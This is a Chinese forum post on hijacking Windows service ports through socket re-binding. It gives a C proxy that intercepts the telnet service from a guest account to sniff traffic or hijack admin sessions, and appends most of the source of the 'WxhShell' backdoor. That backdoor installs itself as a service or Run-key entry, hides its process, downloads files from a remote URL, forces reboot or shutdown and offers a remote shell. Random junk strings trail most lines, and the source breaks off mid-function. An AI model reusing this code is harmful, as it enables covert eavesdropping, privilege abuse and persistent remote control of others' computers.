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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9F6F~::l}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =,%CLS,6w  
I[b}4M6E  
  saddr.sin_family = AF_INET; rJFc({ 0  
YiYV>gaf"H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5pU2|Bk /  
Zkx[[gzL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y'FS/=u>0  
~jK{ ,$:=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .R)PJc5^  
j lp:lX  
  这意味着什么?意味着可以进行如下的攻击: V I,ACj  
JBZUv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gWrgnlq  
yvgrIdEP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UUF ;p2{f  
Q s.pGi0W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zR `EU,  
@)-sTgn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Kh(ZU^{n  
p>vn7;s2#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mK[)mC _8  
Q9U f.Lh2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \I["2C]3M  
hj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?s\ OUr  
# S}Z8  
  #include )foq),2  
  #include on0]vEE  
  #include !l|5z G  
  #include    d}LRl"_n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I#m-g-J  
  int main() U7doU'V/  
  { 90|7ArM_[  
  WORD wVersionRequested; g8Q5m=O*  
  DWORD ret; @ U kr  
  WSADATA wsaData; :@1eph0  
  BOOL val; fbWFLS m;  
  SOCKADDR_IN saddr; lZyG)0t,g  
  SOCKADDR_IN scaddr; y_*PQZ$c<  
  int err; UbEb&9}  
  SOCKET s; fMGbODAvY  
  SOCKET sc; JT "B>y>  
  int caddsize; ]?Fi$3Lm  
  HANDLE mt; )uK{uYQl  
  DWORD tid;   G P:FSprP  
  wVersionRequested = MAKEWORD( 2, 2 ); rgSOS-ox  
  err = WSAStartup( wVersionRequested, &wsaData ); CbPuoOl  
  if ( err != 0 ) { GwG4LIp  
  printf("error!WSAStartup failed!\n"); '" X_B0k  
  return -1; >*-FV{{  
  } %1.]c6U  
  saddr.sin_family = AF_INET; 2<`.#zIds  
    )LJnLo+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u)ev{)$TM  
:(a]V"(&Eq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ! iptT(2  
  saddr.sin_port = htons(23); RlqQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a 4=N9X  
  { uKz,SqX  
  printf("error!socket failed!\n"); 2$14q$eb  
  return -1; za:a)U^n  
  } 2:BF[c`  
  val = TRUE; ^K7ic,{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @*0cMO;SpG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HJ2*y|u  
  {  QV h4  
  printf("error!setsockopt failed!\n"); ,bM-I2BR  
  return -1; 4-kZJ\]  
  } JXixYwm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {^ m(,K_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 277ASCWLkU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N%7{J  
/wxE1][.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &n[~!%(  
  { 'qArf   
  ret=GetLastError(); Fhv2V,nZ<  
  printf("error!bind failed!\n"); Q|,B*b  
  return -1; l akp  
  } Nrah;i+H\o  
  listen(s,2); $55U+)C<  
  while(1) jSOS}!=  
  { kF{*(r=.o  
  caddsize = sizeof(scaddr); V $|<  
  //接受连接请求 ESg+n(R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b$Hz3T J(  
  if(sc!=INVALID_SOCKET) R*zO dxY  
  { ygS L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ? b[n|^wS  
  if(mt==NULL) .6m "'m0;  
  { l;"Ab?P\  
  printf("Thread Creat Failed!\n"); O lfn  
  break; /<&h@$NHH4  
  } Nwc!r (  
  } LhzMAW<L4  
  CloseHandle(mt); ,&7Wa-vf  
  } v8/6wy?  
  closesocket(s); D -IR!js ]  
  WSACleanup(); {%.Lk'#9  
  return 0; 0rokR&Y-d  
  }   Ch_xyuJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) tfkr+ /  
  { F?u^"}%Fc  
  SOCKET ss = (SOCKET)lpParam; b[@V Ya  
  SOCKET sc; }wwe}E-e  
  unsigned char buf[4096]; -6=<#9R  
  SOCKADDR_IN saddr; C+F*690h  
  long num; G{x[uE2X&f  
  DWORD val; V5D2\n3A  
  DWORD ret; yg;_.4TpIO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k_GP> b\"k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8I+d)(:  
  saddr.sin_family = AF_INET; ?Qqd "=k4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  m@rSz  
  saddr.sin_port = htons(23); ~S; Z\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y7U&Q:5'  
  { GZ }/leR  
  printf("error!socket failed!\n"); 6'OO-o  
  return -1; :Dl% _l  
  } V/"}ku  
  val = 100; 7\/5r.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~# 7wdP  
  { dl l%4Sd  
  ret = GetLastError(); BH@b1}  
  return -1; 59B&2861  
  } W"hcaa,&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FN )d1q(~  
  { 2H[)1|]l  
  ret = GetLastError(); ^[-> )  
  return -1; <%bw/  
  } 3@5p"X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H3 m8  
  { i (HByI  
  printf("error!socket connect failed!\n"); IlLn4Iw  
  closesocket(sc); uhn%lV]  
  closesocket(ss); 6E9N(kFYs  
  return -1; r(uP!n1+  
  } H`<?<ak6'M  
  while(1) R]b! $6Lt  
  { )teFS %  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [}""@?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }. %s xw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 & 5 <**  
  num = recv(ss,buf,4096,0); 2mJ:c  
  if(num>0) 5RA<Z.  
  send(sc,buf,num,0); Fu0.~w  
  else if(num==0) ySruAkw%  
  break; ;9rTE|n  
  num = recv(sc,buf,4096,0); :|XCnK0  
  if(num>0) SWoEt1w  
  send(ss,buf,num,0); aR(E7mXQ  
  else if(num==0) 5upShtC  
  break; I #l;~a<9z  
  } nGZ \<-  
  closesocket(ss); x*mc -&N  
  closesocket(sc); 7t4v~'h;5e  
  return 0 ; ggCr-  
  } >6K4b/.5w  
</w 7W3F  
92(~'5Qr  
========================================================== 0}-#b7eR  
B007x{-L  
下边附上一个代码,,WXhSHELL T5{T[YdX<  
jlRS:$|R0  
========================================================== b3^R,6]x&  
LY1KQuY  
#include "stdafx.h" El1:?4;  
gN\*Y  
#include <stdio.h> :xN8R^(  
#include <string.h> NV(fN-L  
#include <windows.h> T:@7 S  
#include <winsock2.h> hOSf'mi  
#include <winsvc.h> |)';CBb  
#include <urlmon.h> z qO$  
v+7*R)/  
#pragma comment (lib, "Ws2_32.lib") `&G}  
#pragma comment (lib, "urlmon.lib") P[1m0!,B  
Z3I L8  
#define MAX_USER   100 // 最大客户端连接数 IKtiR8  
#define BUF_SOCK   200 // sock buffer ?V6 %>RU  
#define KEY_BUFF   255 // 输入 buffer H&u4v2  
ha ik  
#define REBOOT     0   // 重启 ^VC7C~NZ!M  
#define SHUTDOWN   1   // 关机 +Gp!cGaAm  
U !.~XT=  
#define DEF_PORT   5000 // 监听端口 zv|M*Wu  
VEr 6uvB  
#define REG_LEN     16   // 注册表键长度 d{iL?>'?^  
#define SVC_LEN     80   // NT服务名长度 \&# p1K(H  
qYDj*wqf  
// 从dll定义API mC% %)F'Zf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ''%;EW>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rSzQUn<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @\S]]oLn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;7wwY$PBH  
.<0=a|IAz  
// wxhshell配置信息 tru;;.lj8K  
struct WSCFG { LAizx^F  
  int ws_port;         // 监听端口 f<) Ro$   
  char ws_passstr[REG_LEN]; // 口令 -??!@R7V  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5#yJK>a7  
  char ws_regname[REG_LEN]; // 注册表键名 xcAF  
  char ws_svcname[REG_LEN]; // 服务名 :,urb*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0>I]=M]@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M" xZz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %H 8A=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DN4fP-m-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cZCGnzy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XhQw+j~1.  
$'WapxF  
}; M@',3  
!G+n"-h9'  
// default Wxhshell configuration E1$Hu{  
struct WSCFG wscfg={DEF_PORT, bbE bf !E  
    "xuhuanlingzhe", 4.,KEt'H  
    1, e{^:/WcYB  
    "Wxhshell", Z?!JV_K  
    "Wxhshell", 8o*\W$K@  
            "WxhShell Service", c^i"}2+  
    "Wrsky Windows CmdShell Service", fcgDU *A%  
    "Please Input Your Password: ", v_?s1+w  
  1, Qs}/x[I  
  "http://www.wrsky.com/wxhshell.exe", 3K=q)|  
  "Wxhshell.exe" B[) [fE  
    }; { r< (t#  
: ;E7+m  
// 消息定义模块 H<rnJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wGov|[X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?.rH;:9To  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }}4 sh5z  
char *msg_ws_ext="\n\rExit."; r`&2-]  
char *msg_ws_end="\n\rQuit."; Dz"u8 f  
char *msg_ws_boot="\n\rReboot..."; PV,kYM6  
char *msg_ws_poff="\n\rShutdown..."; :Y}Y&mA4  
char *msg_ws_down="\n\rSave to "; I,CAFq  
a in#_H  
char *msg_ws_err="\n\rErr!"; l0:e=q2Ax  
char *msg_ws_ok="\n\rOK!"; j#Ky0+@V  
/ZIJ<#o[  
char ExeFile[MAX_PATH]; . BYKdxa  
int nUser = 0; q 2_N90u  
HANDLE handles[MAX_USER]; 'XZI{q2i  
int OsIsNt;  Gh)sw72  
-H ac^4uF  
SERVICE_STATUS       serviceStatus; =ELDJt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; > hDsm;,/  
g|v1qfK  
// 函数声明 &(H)gjH  
int Install(void); DJD]aI  
int Uninstall(void); }ZM*[j  
int DownloadFile(char *sURL, SOCKET wsh); `\RX~ $^  
int Boot(int flag); <y\ Z#z  
void HideProc(void); 8XS {6<  
int GetOsVer(void); I\Gp9w0f  
int Wxhshell(SOCKET wsl); R$T[%AGZ.  
void TalkWithClient(void *cs); Bah.\ZsYQP  
int CmdShell(SOCKET sock); V. bH$@ej  
int StartFromService(void); t=E|RYC(k  
int StartWxhshell(LPSTR lpCmdLine); T$.-{I  
Hl3XqR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z[KN^2YS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \AtwO  
~J. Fl[  
// 数据结构和表定义 zV_-rf  
SERVICE_TABLE_ENTRY DispatchTable[] = VM2@{V/=~  
{ |0%4G k);  
{wscfg.ws_svcname, NTServiceMain}, ;Xd\$)n  
{NULL, NULL} zI2KIXcc  
}; Hh/ -^G  
fN"oa>X  
// 自我安装 Y)4Nydq  
int Install(void) $*v20  
{ x@ s`;qz  
  char svExeFile[MAX_PATH]; `6BS-AVO7  
  HKEY key; vN%j-'D\A4  
  strcpy(svExeFile,ExeFile); WKrZTPD'm  
<v7KE*#  
// 如果是win9x系统,修改注册表设为自启动 ]}l+ !NV<  
if(!OsIsNt) { 0Yzb=QMD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "! 6 B5Oz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kO3k| 6f=  
  RegCloseKey(key); 3@cJ=   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { da?th  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 18/@:u{  
  RegCloseKey(key); 'G3OZj8  
  return 0; xu?QK6D:  
    } 6 pn@`UK  
  } R.YGmT'2  
} B]KLn?zt5  
else { <]e;tF)+  
9hs{uxwuEE  
// 如果是NT以上系统,安装为系统服务 HlL@{<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @x F8' [<  
if (schSCManager!=0) -R$FJb Id  
{ QUw5~n ;-  
  SC_HANDLE schService = CreateService w%o4MFK=!  
  ( $9i5<16  
  schSCManager, ;?lM|kK  
  wscfg.ws_svcname, qp_ `Fj:  
  wscfg.ws_svcdisp, ,/b/O4`;y  
  SERVICE_ALL_ACCESS, F+$@3[Q`N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yzNX2u1  
  SERVICE_AUTO_START, S5 nw  
  SERVICE_ERROR_NORMAL, &'yV:g3H  
  svExeFile, !g&B)0u]*  
  NULL, So 6cm|{  
  NULL, UlN|Oy,  
  NULL, , sJfMY  
  NULL, .@3u3i64'  
  NULL e/Oj T  
  ); O/^w! :z'  
  if (schService!=0) QRHm |f9_C  
  { qf=[*ZY  
  CloseServiceHandle(schService); ^-;Z8M  
  CloseServiceHandle(schSCManager); q vVZA*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xsn- +e  
  strcat(svExeFile,wscfg.ws_svcname); udy;Odt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %dU'$)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7%}3Ghc%  
  RegCloseKey(key); f EiEfu  
  return 0; nN\XVGP,t  
    } t RyGxqiG  
  } %` [`I>  
  CloseServiceHandle(schSCManager); 5a_!&  
} `6sQlCOnF  
} ,UZE;lXJ'Q  
*3 8Y;{ 4  
return 1; -*l[:5m  
} ~JPzjE  
q8bS@\i  
// 自我卸载 n4&j<zAV{  
int Uninstall(void) p2vUt  
{ ~%K(ou=2  
  HKEY key; 1WN93 SQ=  
8Xzx ;-&4  
if(!OsIsNt) { }t-|^mY>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ru aJ9O  
  RegDeleteValue(key,wscfg.ws_regname); ZDmk<}A-U  
  RegCloseKey(key); /=(FM   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (3r,PS@Qq@  
  RegDeleteValue(key,wscfg.ws_regname); >t }D5ah  
  RegCloseKey(key); B "zg85 e  
  return 0; I_*>EA  
  } H=RV M  
} z))[Lg  
} r8 >?-P  
else { ]LOtwY  
=I}V PxhE7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cGp 6yf  
if (schSCManager!=0) becQ5w/~  
{ rO%+)M$A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FRk_xxe"K  
  if (schService!=0) mXaUWgO  
  { <F & hfy  
  if(DeleteService(schService)!=0) { +[[gU;U"v  
  CloseServiceHandle(schService); ,peE'   
  CloseServiceHandle(schSCManager); uhLm yK  
  return 0; }TL"v|ny6;  
  } hI{Yg$H1  
  CloseServiceHandle(schService); Lpf=VyqC  
  } 7Z3qaXPH  
  CloseServiceHandle(schSCManager); W^Y(FUy~  
} >GUTno$J  
} ]#.#]}=  
e90z(EF?0  
return 1; x=N;>  
} ?3N86Qj  
,_zt? o\  
// 从指定url下载文件 kyB]fmS  
int DownloadFile(char *sURL, SOCKET wsh) c'R|Wyf  
{ @CDRbXoFk  
  HRESULT hr; b] V=wZ o  
char seps[]= "/"; t%@ pyK  
char *token; mJ7kOQ-.$  
char *file; U$ bM:d  
char myURL[MAX_PATH]; Z4' v  
char myFILE[MAX_PATH]; s. [${S6O  
f}eVfAf  
strcpy(myURL,sURL); u*`GIRfWT  
  token=strtok(myURL,seps); Yl])Q|2I  
  while(token!=NULL) kw'D2692  
  { iSlVe~ef  
    file=token; FG\?_G  
  token=strtok(NULL,seps); D(|$6J 0  
  } amgex$  
^pa).B.`T  
GetCurrentDirectory(MAX_PATH,myFILE); H(s^le:!  
strcat(myFILE, "\\"); r1]^#&V;MC  
strcat(myFILE, file); |0-L08DW  
  send(wsh,myFILE,strlen(myFILE),0); Ip x:k+J  
send(wsh,"...",3,0); 6}$cDk`dz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n3\vq3^?  
  if(hr==S_OK) jo~vOu  
return 0; sx\7Z#|  
else u 36;;z  
return 1; }I]q$3 .  
NYeg,{q  
} )Be;Zw.|  
t {}1 f  
// 系统电源模块 VK#zmEiB  
int Boot(int flag) [tN/}_]  
{ Pt+_0OsR  
  HANDLE hToken; }1wuH  
  TOKEN_PRIVILEGES tkp; jg(A_V  
iDsjIW\j  
  if(OsIsNt) { rIb{=';  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '4rgIs3=x"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &AVi4zV  
    tkp.PrivilegeCount = 1; Ih0GzyU*4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5{> cfN\q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $&!U&uMt  
if(flag==REBOOT) { .(-3L9T}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m 78PQx H  
  return 0; ?0x;L/d])  
} !IS ,[  
else { ?m6E@.{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1tDN$rM5  
  return 0; Sa0\9 3oa  
} _!C H  
  } a/ZfPl0Ns[  
  else { ,x/j&S9!  
if(flag==REBOOT) { `6/7},"9t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &V"&SV>}  
  return 0; A{QS+fa/  
} &Lw| t_y  
else { -l",!sV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H4N==o  
  return 0; epnDvz\   
} ktCh*R[`  
} G4i&:0  
n;U|7it7  
return 1;  tua+R_"  
}  7;XdTx  
jHd~yCq  
// win9x进程隐藏模块 [;(| ^0  
void HideProc(void) *VH1(E`hl  
{ UX?_IgJh<"  
Abl=Ev  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]OVjq ?  
  if ( hKernel != NULL ) ,FTF@h-Cs  
  { |^1eL I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6jn<YR E-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =X`/.:%|[  
    FreeLibrary(hKernel); qAm%h\  
  } T:si?7CR  
W46sKD;\^W  
return; yY1&h op  
} ''Hq-Ng  
Eb.{M  
// 获取操作系统版本 3y@'p(}Az  
int GetOsVer(void) A`@we  
{ 4U((dx*m  
  OSVERSIONINFO winfo; 6)TFb,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^x q%P2s0  
  GetVersionEx(&winfo); ua0k)4|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M?_VYK  
  return 1; 4'{j'kuv  
  else bC&_OU:  
  return 0; 4Q$\hO3b  
} `T-(g1:9  
5!?><{k=%  
// 客户端句柄模块 T-27E$0  
int Wxhshell(SOCKET wsl) {&/q\UQ  
{ a/?gp>M9  
  SOCKET wsh; $ @^n3ZQ4  
  struct sockaddr_in client; PPohpdd)  
  DWORD myID; Qd@`jwjS  
md<%Z4+  
  while(nUser<MAX_USER) t.]oLG22r  
{ H*l8,*M}  
  int nSize=sizeof(client); ; LTc4t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .>&kA f.  
  if(wsh==INVALID_SOCKET) return 1; ')go/y`YK  
YncY_Hu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %[RLc[pB  
if(handles[nUser]==0) c/pT2/y  
  closesocket(wsh); a?@j`@]ZR~  
else ji">} -  
  nUser++; MvObx'+  
  } W<kJ%42^j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (/c9v8Pr(7  
m\j'7mZ1  
  return 0; K47W7zR  
} ~GMlnA]6  
!x|Ok'izDL  
// 关闭 socket 7+@:wX\  
void CloseIt(SOCKET wsh) ;Cm%<vW4!  
{ y1f&+y9e  
closesocket(wsh); Q-(twh  
nUser--; ->:G+<  
ExitThread(0); jFnq{L t  
} KI#),~n S  
I%;xMt Y1o  
// 客户端请求句柄 b=.Ikt+y  
void TalkWithClient(void *cs) 9aYCU/3  
{ T+RfMEdr  
Kp8!^os  
  SOCKET wsh=(SOCKET)cs; #%Uk}5;-  
  char pwd[SVC_LEN]; z`5d,M  
  char cmd[KEY_BUFF]; o|(-0mWBQA  
char chr[1]; (Z;-u+ }.  
int i,j; \A Y7%>  
WTZP}p1  
  while (nUser < MAX_USER) { %jim] ]<S[  
P$4G2>D8dg  
if(wscfg.ws_passstr) { S2h?Q $e3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -(ABQgSO]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bncIxxe  
  //ZeroMemory(pwd,KEY_BUFF); 9#xcp/O  
      i=0; N)WAzH  
  while(i<SVC_LEN) { 2mWW0txil  
MkF:1-=L  
  // 设置超时 D<]z.33  
  fd_set FdRead; z;x $tO  
  struct timeval TimeOut; U8PSJ0ny  
  FD_ZERO(&FdRead); $RfM}!7?  
  FD_SET(wsh,&FdRead); udMDE=1~L  
  TimeOut.tv_sec=8; U5[xW  
  TimeOut.tv_usec=0; !g-|@W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pZ}4'GnZI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i"p)%q~ z  
p'fU}B1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]g2Y/\)a  
  pwd=chr[0]; GNlP]9wX  
  if(chr[0]==0xd || chr[0]==0xa) { prV:Kq;O  
  pwd=0; h/j+ b.|  
  break; PMebn$(  
  } 7y1J69IK  
  i++; ]L@VpHEj  
    } bwR24>8lP  
SQ9s  
  // 如果是非法用户,关闭 socket ! ~u;CMR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e "5S ;  
} {+_ pyL  
M.iR5Uh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B{^o}:e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2"*7H S  
6r4o47_t8#  
while(1) { U?P5 cN  
rnz9TmN:*1  
  ZeroMemory(cmd,KEY_BUFF); }J"}5O2,b  
TR/'L!EE  
      // 自动支持客户端 telnet标准   O:cta/M  
  j=0; mojD  
  while(j<KEY_BUFF) { ;3wj(o0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c+|,q m  
  cmd[j]=chr[0]; L8("1_  
  if(chr[0]==0xa || chr[0]==0xd) { 6m"_=.k%  
  cmd[j]=0; _R-[*ucq  
  break; JDrh-6Zgj  
  } o_>id^$>B  
  j++; 5|&8MGW-$  
    } P[6@1  
(ds-p[`[m  
  // 下载文件 a=}JW]  
  if(strstr(cmd,"http://")) { %upnXRzw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hyqsMkW|  
  if(DownloadFile(cmd,wsh)) 22lC^)`TE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x-O9|%aRJ  
  else `\LhEnIwu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D.elE:  
  } h >V8YJ  
  else { ~"F83+RDe  
7 \)OWp  
    switch(cmd[0]) { mGR}hsQpn  
  pJ kaP  
  // 帮助 `|@#~  
  case '?': { ." 9t<<!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zo`Ku+RL2'  
    break; 'ap<]mf2  
  } S0?4}7`A  
  // 安装 8l,`~jvU!*  
  case 'i': { *((wp4b  
    if(Install()) F ^& Rg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $U=E7JO  
    else v"'Co6fw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bc%A aZ0x  
    break; X :2%U  
    } i oCoFj  
  // 卸载 7d&_5Tj:  
  case 'r': { <WXO].^  
    if(Uninstall()) f4.k%|]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0uX"KL]Elf  
    else EX^}#|e*h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UUb n7&  
    break; C'8v\C9Ag  
    } -"J6 |Y#8  
  // 显示 wxhshell 所在路径 {ctEjgiE  
  case 'p': { cBICG",TA  
    char svExeFile[MAX_PATH]; "-aak )7w  
    strcpy(svExeFile,"\n\r"); 1 o<l;:  
      strcat(svExeFile,ExeFile); %ux%=@%  
        send(wsh,svExeFile,strlen(svExeFile),0); b~F(2[o  
    break; {v&c5B~,\  
    } [Xp{z tGE  
  // 重启 fQ>=\*b9x^  
  case 'b': { m)G=4kK52-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +$]eA'Bh@  
    if(Boot(REBOOT)) $@m)8T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QF^_4Yn  
    else { BcJ]bIbKb  
    closesocket(wsh); QuuR_Ao?c'  
    ExitThread(0); mNcoR^(VN  
    } HN'r ZAZ(  
    break; +uR|0Jo8X  
    } *"rgK|CM$  
  // 关机 3Cq/ o'  
  case 'd': { `c 3IS5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $lkd9r1   
